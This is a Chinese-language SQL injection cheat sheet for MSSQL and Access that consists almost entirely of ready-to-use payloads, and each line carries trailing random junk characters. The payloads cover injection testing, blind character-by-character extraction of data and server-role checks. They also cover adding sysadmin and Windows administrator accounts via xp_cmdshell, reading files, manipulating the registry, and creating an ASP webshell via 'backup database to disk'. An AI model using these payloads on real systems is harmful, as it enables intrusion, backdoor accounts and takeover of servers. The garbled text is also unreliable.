1.判断是否有注入;and 1=1 ;and 1=2 &h8+-
2.初步判断是否是mssql ;and user>0 ZLxe$.V_
)u'oI_
3.注入参数是字符'and [查询条件] and ''=' C[_{ $j(J
VS1gg4tCv
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ~u/Enl7\-
Xj?j1R>GB
5.判断数据库系统 ,dK% [
GDZe6*
;and (select count(*) from sysobjects)>0 mssql Bn}@wO
Y')in7g
;and (select count(*) from msysobjects)>0 access gP^'4>Jr
Q^ bG1p//.
=r:D]?8oC
6pxj9@X+
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ~$YFfv>
&.K=,+0_R/
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 OBF5Tl4
(:vY:-\ bO
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6n45]?
|P>>
^,iUn
9.(1)猜字段的ascii值(access) 1!0BE8s"@
c]t=#
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 aG`G$3 _wx
O9:vPbn
(2)猜字段的ascii值(mssql) xAon:58m{
T1\.~]-msb
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Bn-%).-ED
}7wQFKME
10.测试权限结构(mssql) !@p@u;djJ
@1^iWM j
/'!F \ kz
&*T57tE
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- xa5I{<<U
UTHGjE
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- BVC\~j
j
b"/P
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- &yp_wW-
qwiM.b5
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- zA\DI]:+
.' 3;Z'%"g
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Go+f0aig
0Eo*C9FP~
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- (LkGBnXE
L#m1!+J
;and 1=(select IS_MEMBER('db_owner'));-- 0waQw7
E
Qm^N}>e
,d&~#W]
`?2S4lN/
11.添加mssql和系统的帐户 !!DHfAV]
mWfzL'*
;exec master.dbo.sp_addlogin username;-- .y#@~H($
;exec master.dbo.sp_password null,username,password;-- '!b1~+PV
7z5AI!s_
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Ym2![FC1
E{(7]Wri
;exec master.dbo.xp_cmdshell 'net user username password G0xk @SE
X<vv:
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- B
,e3r
mst-:F[h
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Z
r
OqHD=D[
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- x_s9DkX
NIQNzq?a^
w)5eD+n\-
3{]csZvW
12.(1)遍历目录 5ju\!Re3X
g()YP
;create table dirs(paths varchar(100), id int) l"*zr ;#
W7_X=>l
;insert dirs exec master.dbo.xp_dirtree 'c:\' j2k,)MHu!x
<x53b/ft
;and (select top 1 paths from dirs)>0 h/QZcA
qI5_@[S*
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) l)4KX{Rz{A
~%bz2Pd%
FI Io{ru
1<Qb"FN!2
(2)遍历目录 9]xOuCb
N0vr>e`
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?qO_t;:0>
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 D0.7an6
LW{7|g
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 nulVQOj|
=NQDxt}
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 S)>L 0^M1
?|w>."F
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 &) T5V
+j%!RS$ko
;vy" i
<V5(5gx
13.mssql中的存储过程 u$X[=
+>M^p2l*&
xp_regenumvalues 注册表根键, 子键 [?Cv^t${+
%7xx"$P:R
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2ed$5.D
Wj(O_2
xp_regread 根键,子键,键值名 HcavA{H
5N@k9x
;exec xp_regread ;%0$3a
sC(IeGbX
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 W.'#pd
N^*%{[<5
xp_regwrite 根键,子键, 值名, 值类型, 值 X3-pj<JLY
8iGS=M
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 &7VN?ox1
o:W>7~$jr=
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 FAX|.!US*p
!KKkw4
xp_regdeletevalue 根键,子键,值名 nD@/,kw"
; :4&nJ*qG
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 EZ:pcnL{
MzM"r"u
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 gFizw:l
UyTsUkY
~! ;*C
U*!q@g_
14.mssql的backup创建webshell ;|}N\[fk%]
sEkfmB2J/
use model Z-z^0QO
@a$_F3W
create table cmd(str image); w$[&ejFb
YcOPqvQ
insert into cmd(str) values (''); 2FU+o\1%
[%
\>FT[
backup database model to disk='c:\l.asp'; )S@e&a|
Iv+JEuIi
]Wr2I M
R/ix,GC
15.mssql内置函数
kw{dvE\K
b+Sq[
;and (select @@version)>0 获得Windows的版本号 ;)$bhNFHx
M15Ce)oB1(
;and user_name()='dbo' 判断当前系统的连接用户是不是sa )O\w'|$G
"jV:L
;and (select user_name())>0 爆当前系统的连接用户 7^)8DwAl
S52'!WTq
;and (select db_name())>0 得到当前连接的数据库 .8e]-^Z
QOiPDu=8z
{*mf Is
KCP$i@Pjv
16.简洁的webshell G5*"P!@6
]8@s+N
use model nilis-Bk_
f#mNx
create table cmd(str image); nVB.sab
^/]w}C#:d
insert into cmd(str) values (''); 2iM]t&^<+
]bxBo
backup database model to disk='g:\wwwtest\l.asp';